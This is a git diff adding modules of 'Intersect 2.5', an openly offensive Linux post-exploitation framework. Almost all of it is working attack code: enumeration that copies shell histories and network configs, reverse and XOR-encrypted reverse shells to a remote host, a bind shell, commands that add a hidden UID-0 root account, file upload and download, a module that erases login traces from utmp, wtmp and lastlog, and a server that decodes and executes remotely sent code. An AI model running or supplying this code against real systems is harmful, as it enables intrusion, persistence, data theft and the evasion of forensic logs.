os.system("ifconfig -a > ifconfig.txt") + + + if distro == "ubuntu" or distro2 == "Ubuntu" is True: + os.system("hostname -I > IPAddresses.txt") + else: + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + s.connect(("google.com",80)) + localIP = (s.getsockname()[0]) + s.close() + splitIP = localIP.split('.') + splitIP[3:] = (['0/24']) + IPRange = ".".join(splitIP) + externalIP = urllib2.urlopen("http://myip.ozymo.com/").read() + text = ("External IP Address: " + externalIP + "\nInternal IP Address: " + localIP + "\nInternal IP Range: " + IPRange) + writenew("IPAddresses.txt", text) + + os.system("hostname -f > hostname.txt") + + netfiles = ["IPAddresses.txt","hostname.txt","ifconfig.txt"] + combinefiles("NetworkInfo.txt", netfiles) + os.system("rm IPAddresses.txt hostname.txt ifconfig.txt") + + network = [ "/etc/hosts.deny", "/etc/hosts.allow", "/etc/inetd.conf", "/etc/host.conf", "/etc/resolv.conf" ] + for x in network: + copy2temp(x, networkdir) + + diff --git a/Intersect-2.5/src/Modules/local/Standard/osuser b/Intersect-2.5/src/Modules/local/Standard/osuser new file mode 100644 index 0000000..b69d330 --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Standard/osuser @@ -0,0 +1,92 @@ + +def osuser(): + ''' + @description: Enumerate Linux distro, kernel, installed apps and services, printers, cronjobs, user lists and history files, CPU and memory info, etc. + @author: ohdae [bindshell@live.com] + @short: enumerate user and system information + ''' + log_msg("\n\n [ OS & User module ]") + log_msg("\n Start Time: %s" % logtime) + + print("[+] Collecting operating system and user information....") + maketemp("osinfo") + os.chdir(Temp_Dir+"/osinfo/") + + proc = Popen('ps aux', + shell=True, + stdout=PIPE, + ) + output = proc.communicate()[0] + for items in output: + writenew("ps_aux.txt", items) + + os.system("ls -alh /usr/bin > bin.txt") + os.system("ls -alh /usr/sbin > sbin.txt") + os.system("ls -al /etc/cron* > cronjobs.txt") + os.system("ls -alhtr /media > media.txt") + os.system("/usr/bin/lpstat -v > printers.txt") + + log_msg("\n Listings of sbin, bin, cronjobs, printers, media, ps aux") + + if distro == "ubuntu" or distro2 == "Ubuntu": + os.system("dpkg -l > dpkg_list.txt") + elif distro == "arch" or distro2 == "Arch": + os.system("pacman -Q > pacman_list.txt") + elif distro == "slackware" or distro2 == "Slackware": + os.system("ls /var/log/packages > packages_list.txt") + elif distro == "gentoo" or distro2 == "Gentoo": + os.system("cat /var/lib/portage/world > packages.txt") + elif distro == "centos" or distro2 == "CentOS": + os.system("yum list installed > yum_list.txt") + elif distro == "red hat" or distro2 == "Red Hat": + os.system("rpm -qa > rpm_list.txt") + else: + pass + + if distro == "arch": + os.system("egrep '^DAEMONS' /etc/rc.conf > services_list.txt") + elif distro == "slackware": + os.system("ls -F /etc/rc.d | grep \'*$\' > services_list.txt") + elif whereis('chkconfig') is not None: + os.system("chkconfig -A > services_list.txt") + + log_msg("\n Listings of installed packages, list of installed services.") + + os.system("mount -l > mount.txt") + os.system("cat /etc/sysctl.conf > sysctl.txt") + os.system("uname -a > distro_kernel.txt") + os.system("df -hT > filesystem.txt") + os.system("free -lt > memory.txt") + os.system("cat /proc/cpuinfo > cpuinfo.txt") + os.system("cat /proc/meminfo > meminfo.txt") + copy2temp(Home_Dir+"/.bash_history") + copy2temp(Home_Dir+"/.viminfo") + copy2temp(Home_Dir+"/.mysql_history") + + log_msg("\n Collected: mount, sysctl, uname, diskspace, memory/cpu info..") + + if currentuser == "root": + os.system("find /var/log -type f -exec ls -la {} \; > loglist.txt") + os.system("locate sql | grep [.]sql$ > SQL_locations.txt") + os.system("find /home -type f -iname '.*history' > HistoryList.txt") + + log_msg("\n Enumeration of history files, SQL locations and log lists.") + + + sysfiles = ["distro_kernel.txt","filesystem.txt","memory.txt","cpuinfo.txt","meminfo.txt"] + combinefiles("SysInfo.txt", sysfiles) + + maketemp("osinfo/users") + os.chdir("users/") + + os.system("ls -alhR ~/ > CurrentUser.txt") + + if currentuser == "root": + os.system("ls -alhR /home > AllUsers.txt") + + if os.path.exists(Home_Dir+"/.mozilla/") is True: + os.system("find "+Home_Dir+"/.mozilla -name bookmarks*.json > UsersBookmarks.txt") + + log_msg("\n Listings of home user directories, Mozilla bookmarks and history..") + + diff --git a/Intersect-2.5/src/Modules/local/Standard/reversexor b/Intersect-2.5/src/Modules/local/Standard/reversexor new file mode 100644 index 0000000..62766b8 --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Standard/reversexor @@ -0,0 +1,110 @@ + +def xor(string, key): + ''' + @description: Opens a reverse XOR ciphered TCP shell to a remote host. Interactive shell with download/upload and remote Intersect module execution. + @author: ohdae [bindshell@live.com] + @short: reverse XOR TCP shell + ''' + data = '' + for char in string: + for ch in key: + char = chr(ord(char) ^ ord(ch)) + data += char + return data + + +def reversexor(): + socksize = 4096 + conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + + try: + conn.connect((RHOST, RPORT)) + conn.send(xor("[+] New connection established!", PKEY)) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + except: + print("[!] Connection error!") + sys.exit(2) + + while True: + cmd = conn.recv(socksize) + cmd2 = xor(cmd, PKEY) + proc = Popen(cmd2, + shell=True, + stdout=PIPE, + stderr=PIPE, + stdin=PIPE, + ) + stdout, stderr = proc.communicate() + + if cmd2.startswith('cd'): + destination = cmd2[3:].replace('\n','') + if os.path.isdir(destination): + os.chdir(destination) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + elif os.path.isdir(os.getcwd()+destination): + os.chdir(os.getcwd()+destination) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + else: + conn.send(xor("[!] Directory does not exist", PKEY)) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + + elif cmd2.startswith(':addroot'): + strip = cmd.split(" ") + acct = strip[1] + os.system("/usr/sbin/useradd -M -o -s /bin/bash -u 0 -l " + acct) + conn.send(xor("[+] Root account " + acct + " has been created.", PKEY)) + + elif cmd2.startswith(':upload'): + getname = cmd2.split(" ") + rem_file = getname[1] + filename = rem_file.replace("/","_") + data = conn.recv(socksize) + filedata = xor(data, PKEY) + newfile = file(filename, "wb") + newfile.write(filedata) + newfile.close() + if os.path.isfile(filename): + conn.send(xor("[+] File upload complete!", PKEY)) + if not os.path.isfile(filename): + conn.send(xor("[!] File upload failed! Please try again", PKEY)) + + elif cmd2.startswith(':download'): + getname = cmd2.split(" ") + loc_file = getname[1] + if os.path.exists(loc_file) is True: + sendfile = open(loc_file, "r") + filedata = sendfile.read() + sendfile.close() + senddata = xor(filedata, PKEY) + conn.sendall(senddata) + else: + conn.send(xor("[+] File not found!", PKEY)) + + elif cmd2.startswith(":reboot"): + conn.send(xor("[!] Server system is going down for a reboot!", PKEY)) + os.system("shutdown -h now") + + elif cmd2 == (":mods"): + conn.send(xor(str(modList), PKEY)) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + + elif cmd2.startswith(":exec"): + getmod = cmd2.split(" ") + rmod = getmod[1] + if rmod in modList: + rmod = rmod+"()" + exec rmod + conn.send(xor("\n[+] Executing module...", PKEY)) + else: + conn.send(xor("\n[!] Module not loaded!", PKEY)) + + elif cmd2 == (':killme'): + conn.send(xor("[!] Shutting down shell!\n", PKEY)) + conn.close() + sys.exit(0) + + elif proc: + conn.send(xor( stdout , PKEY)) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + + diff --git a/Intersect-2.5/src/Modules/local/Standard/rshell b/Intersect-2.5/src/Modules/local/Standard/rshell new file mode 100644 index 0000000..82fbe09 --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Standard/rshell @@ -0,0 +1,88 @@ + +def rshell(): + ''' + @description: Opens a reverse TCP shell to a remote host. Interactive shell with download/upload and remote Intersect module execution. + @author: ohdae [bindshell@live.com] + @short: reverse TCP shell + ''' + socksize = 4096 + conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + + try: + conn.connect((RHOST, RPORT)) + conn.send("[+] New connection established!") + conn.send("\nIntersect "+str(os.getcwd())+" => ") + except: + print("[!] Connection error!") + sys.exit(2) + + while True: + cmd = conn.recv(socksize) + proc = Popen(cmd, + shell=True, + stdout=PIPE, + stderr=PIPE, + stdin=PIPE, + ) + stdout, stderr = proc.communicate() + if cmd.startswith('cd'): + destination = cmd[3:].replace('\n','') + if os.path.isdir(destination): + os.chdir(destination) + conn.send("\nIntersect "+str(os.getcwd())+" => ") + else: + conn.send("[!] Directory does not exist") + conn.send("\nIntersect "+str(os.getcwd())+" => ") + + elif cmd.startswith(':addroot'): + strip = cmd.split(" ") + acct = strip[1] + os.system("/usr/sbin/useradd -M -o -s /bin/bash -u 0 -l " + acct) + conn.send("[+] Root account " + acct + " has been created.") + + elif cmd.startswith(':upload'): + getname = cmd.split(" ") + rem_file = getname[1] + filename = rem_file.replace("/","_") + filedata = conn.recv(socksize) + newfile = file(filename, "wb") + newfile.write(filedata) + newfile.close() + if os.path.isfile(filename): + conn.send("[+] File upload complete!") + if not os.path.isfile(filename): + conn.send("[!] File upload failed! Please try again") + + elif cmd.startswith(':download'): + getname = cmd.split(" ") + loc_file = getname[1] + if os.path.exists(loc_file) is True: + sendfile = open(loc_file, "r") + filedata = sendfile.read() + sendfile.close() + conn.sendall(filedata) + else: + conn.send("[+] File not found!") + + elif cmd.startswith(":reboot"): + conn.send("[!] Server system is going down for a reboot!") + os.system("shutdown -h now") + + elif cmd == (":mods"): + conn.send(str(modList)) + conn.send("\nIntersect "+str(os.getcwd())+" => ") + + elif cmd.startswith(":exec"): + pass + + elif cmd == (':killme'): + conn.send("[!] Shutting down shell!\n") + conn.close() + sys.exit(0) + + elif proc: + conn.sendall( stdout ) + conn.send("\nIntersect "+str(os.getcwd())+" => ") + + + diff --git a/Intersect-2.5/src/Modules/local/Standard/scrub b/Intersect-2.5/src/Modules/local/Standard/scrub new file mode 100644 index 0000000..0487fd5 --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Standard/scrub @@ -0,0 +1,69 @@ + +def scrub(): + ''' + @description: Attempts to remove the currently logged in username and IP address from utmp, wtmp and lastlog. Intrusive method. + @author: ohdae [bindshell@live.com] + @short: cleans utmp, wtmp and lastlog + ''' + if currentuser != "root": + print("[!] Must be root to run Scrub.") + Shutdown() + + try: + Current_User = os.getlogin() + except OSError: + print("[!] Cannot find user in logs. Did you all ready run --scrub ?") + return + + log_msg("\n\n [ Executed Scrub Module ]") + log_msg("\n Start Time: %s" % logtime) + + newUtmp = scrubFile(UTMP_FILEPATH, Current_User) + writeNewFile(UTMP_FILEPATH, newUtmp) + print "[+] %s cleaned" % UTMP_FILEPATH + + newWtmp = scrubFile(WTMP_FILEPATH, Current_User) + writeNewFile(WTMP_FILEPATH, newWtmp) + print "[+] %s cleaned" % WTMP_FILEPATH + + newLastlog = scrubLastlogFile(LASTLOG_FILEPATH, Current_User) + writeNewFile(LASTLOG_FILEPATH, newLastlog) + print "[+] %s cleaned" % LASTLOG_FILEPATH + + +def scrubFile(filePath, Current_User): + newUtmp = "" + with open(filePath, "rb") as f: + bytes = f.read(UTMP_STRUCT_SIZE) + while bytes != "": + data = struct.unpack("hi32s4s32s256shhiii36x", bytes) + if cut(data[4]) != Current_User and cut(data[5]) != User_Ip_Address: + newUtmp += bytes + bytes = f.read(UTMP_STRUCT_SIZE) + f.close() + return newUtmp + + +def scrubLastlogFile(filePath, Current_User): + pw = pwd.getpwnam(Current_User) + uid = pw.pw_uid + idCount = 0 + newLastlog = '' + + with open(filePath, "rb") as f: + bytes = f.read(LASTLOG_STRUCT_SIZE) + while bytes != "": + data = struct.unpack("hh32s256s", bytes) + if (idCount != uid): + newLastlog += bytes + idCount += 1 + bytes = f.read(LASTLOG_STRUCT_SIZE) + return newLastlog + + +def writeNewFile(filePath, fileContents): + f = open(filePath, "w+b") + f.write(fileContents) + f.close() + + diff --git a/Intersect-2.5/src/Modules/local/Standard/xorshell b/Intersect-2.5/src/Modules/local/Standard/xorshell new file mode 100644 index 0000000..14da20f --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Standard/xorshell @@ -0,0 +1,132 @@ + +def xor(string, key): + data = '' + for char in string: + for ch in key: + char = chr(ord(char) ^ ord(ch)) + data += char + return data + + +def xorshell(): + ''' + @description: Starts a TCP bind shell on the target system. Interactive shell with download/upload, cd and ability to execute other modules remotely." + @author: ohdae [bindshell@live.com] + @short: TCP bindshell + ''' + HOST = '' + server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,1) + try: + log_msg("[ XOR Bindshell module executed ]") + server.bind((HOST, PORT)) + server.listen(5) + except: + print "[!] Connection closed." + sys.exit(2) + + while 1: + conn, addr = server.accept() + log_msg("New shell connection") + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + reaper() + childPid = os.fork() + if childPid == 0: + xorhandle(conn) + else: + shellPID.append(childPid) + + +def xorhandle(conn): + time.sleep(3) + + while True: + cmd = conn.recv(socksize) + cmd2 = xor(cmd, PKEY) + proc = Popen(cmd2, + shell=True, + stdout=PIPE, + stderr=PIPE, + stdin=PIPE, + ) + stdout, stderr = proc.communicate() + + if cmd2.startswith('cd'): + destination = cmd2[3:].replace('\n','') + if os.path.isdir(destination): + os.chdir(destination) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + elif os.path.isdir(os.getcwd()+destination): + os.chdir(os.getcwd()+destination) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + else: + conn.send(xor("[!] Directory does not exist", PKEY)) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + + elif cmd2.startswith(':addroot'): + strip = cmd.split(" ") + acct = strip[1] + os.system("/usr/sbin/useradd -M -o -s /bin/bash -u 0 -l " + acct) + conn.send(xor("[+] Root account " + acct + " has been created.\n", PKEY)) + + elif cmd2.startswith(':upload'): + getname = cmd2.split(" ") + rem_file = getname[1] + filename = rem_file.replace("/","_") + data = conn.recv(socksize) + filedata = xor(data, PKEY) + newfile = file(filename, "wb") + newfile.write(filedata) + newfile.close() + if os.path.isfile(filename): + conn.send(xor("[+] File upload complete!", PKEY)) + if not os.path.isfile(filename): + conn.send(xor("[!] File upload failed! Please try again", PKEY)) + + elif cmd2.startswith(':download'): + getname = cmd2.split(" ") + loc_file = getname[1] + if os.path.exists(loc_file) is True: + sendfile = open(loc_file, "r") + filedata = sendfile.read() + sendfile.close() + senddata = xor(filedata, PKEY) + conn.sendall(senddata) + else: + conn.send(xor("[+] File not found!", PKEY)) + + elif cmd2.startswith(":reboot"): + conn.send(xor("[!] Server system is going down for a reboot!", PKEY)) + os.system("shutdown -h now") + + elif cmd2 == (":mods"): + conn.send(xor(str(modList), PKEY)) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + + elif cmd2.startswith(":exec"): + pass + #getmod = cmd2.split(" ") + #rmod = getmod[1] + #if rmod in modList: + # rmod = rmod+"()" + # exec rmod + # conn.send(xor("\n[+] Executing module...", PKEY)) + #else: + # conn.send(xor("\n[!] Module not loaded!", PKEY)) + + elif cmd2 == (':killme'): + conn.send(xor("[!] Shutting down Intersect!\n", PKEY)) + conn.close() + sys.exit(0) + + elif cmd2 == (':quit'): + conn.send(xor("[!] Closing shell connection!\n", PKEY)) + conn.close() + os._exit(0) + + elif proc: + conn.send(xor( stdout , PKEY)) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + + + diff --git a/Intersect-2.5/src/Templates/local/stock-template b/Intersect-2.5/src/Templates/local/stock-template new file mode 100644 index 0000000..4855d04 --- /dev/null +++ b/Intersect-2.5/src/Templates/local/stock-template @@ -0,0 +1,256 @@ +#!/usr/bin/python +# intersect 2.0 | created by ohdae +# copyright 2012 +# payload_template to be used with Create.py + +import sys, os, re, signal +from subprocess import Popen,PIPE,STDOUT,call +import platform +import shutil +import getopt +import tarfile +import socket +import urllib2 +import random, string +import logging +import struct +import getpass +import pwd +import thread +import base64 +import operator +import SocketServer, SimpleHTTPServer +from math import log + +cut = lambda s: str(s).split("\0",1)[0] +logging.getLogger("scapy.runtime").setLevel(logging.ERROR) + +try: + from scapy.all import * +except ImportError: + try: + from scapy import * + except ImportError: + print("Scapy is not installed. It can be downloaded here => https://www.secdev.org/projects/scapy/\n") + +def environment(): + global Home_Dir + global User_Ip_Address + global UTMP_STRUCT_SIZE + global LASTLOG_STRUCT_SIZE + global UTMP_FILEPATH + global WTMP_FILEPATH + global LASTLOG_FILEPATH + global distro + global distro2 + global currentuser + + ## Global variables for remote shells are defined during the creation process + ## Variables for Scrub module. Do not change unless you know what you're doing. + UTMP_STRUCT_SIZE = 384 + LASTLOG_STRUCT_SIZE = 292 + UTMP_FILEPATH = "/var/run/utmp" + WTMP_FILEPATH = "/var/log/wtmp" + LASTLOG_FILEPATH = "/var/log/lastlog" + + distro = os.uname()[1] + distro2 = platform.linux_distribution()[0] + + Home_Dir = os.environ['HOME'] + User_Ip_Address = socket.gethostbyname(socket.gethostname()) + + if os.geteuid() != 0: + currentuser = "nonroot" + else: + currentuser = "root" + + signal.signal(signal.SIGINT, signalHandler) + + os.system("clear") + + if os.path.exists(Temp_Dir) is True: + os.chdir(Temp_Dir) + else: + os.mkdir(Temp_Dir) + os.chdir(Temp_Dir) + + print "[!] Reports will be saved in: %s" % Temp_Dir + + if Logging == "yes": + global logtime + global now + import datetime + now = datetime.datetime.now() + logtime = (str(now.month)+"-"+str(now.day)+"-"+str(now.year)+" @ "+str(now.hour)+":"+str(now.minute)) + print("[!] Logging is enabled. ActivityLog located in %s" % ActivityLog) + os.system("touch %s" % ActivityLog) + write2file(ActivityLog, "\nIntersect Framework\nCustom script activity log\nStart Time: %s\n\n" % logtime) + + +def signalHandler(signal, frame): + if Logging == "yes": + write2file(ActivityLog, "\n [!] Ctrl-C caught. Shutting down!") + print("[!] Ctrl-C caught, shutting down now"); + Shutdown() + + +def Shutdown(): + if Logging == "yes": + if os.stat("%s" % ActivityLog).st_size < 79: + os.system("rm %s" % ActivityLog) + if not os.listdir(Temp_Dir): + os.rmdir(Temp_Dir) + sys.exit() + else: + sys.exit() + else: + if not os.listdir(Temp_Dir): + os.rmdir(Temp_Dir) + sys.exit() + else: + sys.exit() + + +def whereis(program): + for path in os.environ.get('PATH', '').split(':'): + if os.path.exists(os.path.join(path, program)) and \ + not os.path.isdir(os.path.join(path, program)): + return os.path.join(path, program) + return None + + +def copy2temp(filename, subdir=""): + if os.path.exists(filename) and os.access(filename, os.R_OK): + pass + if subdir == "" is True: + shutil.copy2(filename, Temp_Dir) + if Logging == "yes": + write2file(ActivityLog, "\n %s copied to: %s " % (filename, Temp_Dir)) + else: + if os.path.exists(Temp_Dir+"/"+subdir) is True: + subdir = (Temp_Dir+"/"+subdir) + shutil.copy2(filename, subdir) + if Logging == "yes": + write2file(ActivityLog, "\n %s copied to: %s " % (filename, subdir)) + elif os.path.exists(subdir) is True: + shutil.copy2(filename, subdir) + if Logging == "yes": + write2file(ActivityLog, "\n %s copied to: %s " % (filename, subdir)) + else: + subdir = (Temp_Dir+"/"+subdir) + os.mkdir(subdir) + shutil.copy2(filename, subdir) + if Logging == "yes": + write2file(ActivityLog, "\n %s copied to: %s " % (filename, subdir)) + else: + pass + + +def write2file(filename, text): + if os.path.exists(filename) and os.access(filename, os.R_OK): + target = open(filename, "a") + target.write(text) + target.close() + else: + pass + + +def writenew(filename, content): + new = open(filename, "a") + new.write(content) + new.close() + + +def file2file(readfile, writefile): + if os.path.exists(readfile) and os.access(readfile, os.R_OK): + readfile = open(readfile) + if os.path.exists(writefile) and os.access(readfile, os.R_OK): + writefile = open(writefile, "a") + for lines in readfile.readlines(): + writefile.write(lines) + writefile.close() + readfile.close() + if Logging == "yes": + write2file(ActivityLog, "\n %s contents copied to: %s " % (readfile, writefile)) + else: + readfile.close() + else: + pass + + +def maketemp(subdir): + moddir = (Temp_Dir+"/"+subdir) + if os.path.exists(moddir) is False: + os.mkdir(moddir) + if Logging == "yes": + write2file(ActivityLog, "\n Temporary directory [ %s ] created" % subdir) + else: + pass + + +def users(): + global userlist + userlist = [] + if os.access('/etc/passwd', os.R_OK): + passwd = open('/etc/passwd') + for line in passwd: + fields = line.split(':') + uid = int(fields[2]) + if uid > 500 and uid < 32328: + userlist.append(fields[0]) + if Logging == "yes": + write2file(ActivityLog, "\n User list required for module") + + +def combinefiles(newfile, filelist): + content = '' + for f in filelist: + if os.path.exists(f) and os.access(f, os.R_OK): + content = content + '\n' + open(f).read() + open(newfile,'wb').write(content) + if Logging == "yes": + write2file(ActivityLog, "\n %s contents added to: %s " % (f, newfile)) + else: + pass + + +def tardir(name, directory): + tar = tarfile.open("%s.tar.gz", "w:gz" % name) + if os.path.exists(directory) is True: + tar.add("%s/" % directory) + print("[+] %s added to %s.tar.gz" % (name, directory)) + tar.close() + if Logging == "yes": + write2file(ActivityLog, "\n %s added to: %s.tar.gz " % (name, directory)) + else: + print("[!] Could not find directory %s " % directory) + tar.close() + + +def tarlist(name, filelist): + tar = tarfile.open("%s.tar.gz" % name, "w:gz") + for files in filelist: + if os.path.exists(files) is True: + tar.add(files) + else: + print("[!] %s not found. Skipping.." % files) + tar.close() + print("[+] %s.tar.gz file created!" % name) + if Logging == "yes": + write2file(ActivityLog, "\n %s.tar.gz archive created." % name) + + +def log_msg(message): + if Logging == "yes": + write2file(ActivityLog, message) + + +def reaper(): + while shellPID: + pid,stat = os.waitpid(0, os.WNOHANG) + if not pid: break + shellPID.remove(pid) + + + + diff --git a/Intersect-2.5/src/Templates/remote/Server.py b/Intersect-2.5/src/Templates/remote/Server.py new file mode 100755 index 0000000..60689a5 --- /dev/null +++ b/Intersect-2.5/src/Templates/remote/Server.py @@ -0,0 +1,239 @@ +#!/usr/bin/python + +# Intersect Framework (c) 2012 +# Server-side template & module handler +# https://github.com/ohdae/Intersect-2.5 + + +import os, sys, re, signal +import socket +import time +from subprocess import Popen,PIPE,STDOUT,call +from base64 import * +import datetime +import platform +import urllib2 +import random, string +import logging +import struct +import getpass +import pwd +import thread +import operator +import SocketServer, SimpleHTTPServer +from math import log + + +def reaper(): + while activePID: + pid,stat = os.waitpid(0, os.WNOHANG) + if not pid: break + activePID.remove(pid) + + +def handler(connection): + time.sleep(2) + + while True: + cmd = connection.recv(socksize) + proc = Popen(cmd, + shell=True, + stdout=PIPE, + stderr=PIPE, + stdin=PIPE, + ) + stdout, stderr = proc.communicate() + + if cmd.startswith(':upload'): + getname = cmd.split(" ") + rem_file = getname[1] + filename = rem_file.replace("/","_") + filedata = connection.recv(socksize) + newfile = file(filename, "wb") + newfile.write(filedata) + newfile.close() + if os.path.isfile(filename): + connection.send("[+] File upload complete!\n") + if not os.path.isfile(filename): + connection.send("[!] File upload failed! Please try again\n") + + elif cmd.startswith(':download'): + getname = cmd.split(" ") + loc_file = getname[1] + if os.path.exists(loc_file) is True: + sendfile = open(loc_file, "r") + filedata = sendfile.read() + sendfile.close() + connection.sendall(filedata) + else: + connection.send("[+] File not found!\n") + + elif cmd.startswith(':exec'): + getname = cmd.split(" ") # split mod name from cmd + modname = getname[1] # Parse name of module we are retrieving. Will be used for logging and output purposes + + mod_data = "" # Our received file data will go here + data = connection.recv(socksize) + mod_data += data + print("[+] Module recieved!") + connection.send("Complete") # sends OK msg to the client + modexec = b64decode(mod_data) # decode the received file + module_handler(modexec, modname) # send module to module_handler where it is executed and pipes data back to client + + elif cmd == ":quit": + print("[!] Closing server!") + conn.close() + os._exit(0) + sys.exit(0) + + elif proc: + connection.send( stdout ) + connection.send("shell => ") + + connection.close() + os._exit(0) + + +def accept(): + while 1: + global connection + connection, address = conn.accept() + print "[!] New connection!" + connection.send("shell => ") + reaper() + childPid = os.fork() # forks the incoming connection and sends to conn handler + if childPid == 0: + handler(connection) + else: + activePID.append(childPid) + + +def module_handler(module, modname): + status_msg("[+] Module: %s\n" % modname) + status_msg("[+] Start time: %s" % logtime) + exec(module) + connection.send("shell => ") + + +def status_msg(message): + connection.send("%s" % message) + + +def log_msg(message): + connection.send(":log %s" % message) + + +def cat_file(filename): + if os.path.exists(filename) and os.access(filename, os.R_OK): + catfile = open(filename, "rb") + connection.send("[+] Contents of %s" % filename) + for lines in catfile.readlines(): + connection.sendall(lines) + catfile.close() + + +def save_file(filename): + if os.path.exists(filename) and os.access(filename, os.R_OK): + savefile = open(filename, "rb") + filedata = savefile.read() + savefile.close() + connection.send(":savef %s" % filename) + time.sleep(2) + connection.sendall( filedata ) + time.sleep(2) + else: + pass + + +def cmd(command): + proc = Popen(command, + shell=True, + stdout=PIPE, + stderr=PIPE, + stdin=PIPE, + ) + stdout, stderr = proc.communicate() + connection.sendall( stdout ) # Send output back to the client + +def cmd2txt(command, textfile): + os.system("%s > %s" % (command, textfile)) + save_file(textfile) + os.system("rm %s" % textfile) + + +def whereis(program): + for path in os.environ.get('PATH', '').split(':'): + if os.path.exists(os.path.join(path, program)) and \ + not os.path.isdir(os.path.join(path, program)): + return os.path.join(path, program) + return None + + +def users(): + global userlist + userlist = [] + if os.access('/etc/passwd', os.R_OK): + passwd = open('/etc/passwd') + for line in passwd: + fields = line.split(':') + uid = int(fields[2]) + if uid > 500 and uid < 32328: + userlist.append(fields[0]) + +def globalvars(): + global Home_Dir + global User_Ip_Address + global UTMP_STRUCT_SIZE + global LASTLOG_STRUCT_SIZE + global UTMP_FILEPATH + global WTMP_FILEPATH + global LASTLOG_FILEPATH + global distro + global distro2 + global currentuser + global socksize + global activePID + global conn + global logtime + global now + global HOST + global PORT + + HOST = '' + PORT = 4444 + + ## Set basic socket and process information + socksize = 4096 + activePID = [] + + now = datetime.datetime.now() + logtime = (str(now.month)+"-"+str(now.day)+"-"+str(now.year)+" @ "+str(now.hour)+":"+str(now.minute)) + + ## Global variables for remote shells are defined during the creation process + ## Variables for Scrub module. Do not change unless you know what you're doing. + UTMP_STRUCT_SIZE = 384 + LASTLOG_STRUCT_SIZE = 292 + UTMP_FILEPATH = "/var/run/utmp" + WTMP_FILEPATH = "/var/log/wtmp" + LASTLOG_FILEPATH = "/var/log/lastlog" + + ## Get user and environment information + distro = os.uname()[1] + distro2 = platform.linux_distribution()[0] + Home_Dir = os.environ['HOME'] + User_Ip_Address = socket.gethostbyname(socket.gethostname()) + if os.geteuid() != 0: + currentuser = "nonroot" + else: + currentuser = "root" + + + +globalvars() + +conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +conn.bind((HOST, PORT)) +conn.listen(5) +print("Listening on TCP port %s" % PORT) +accept() +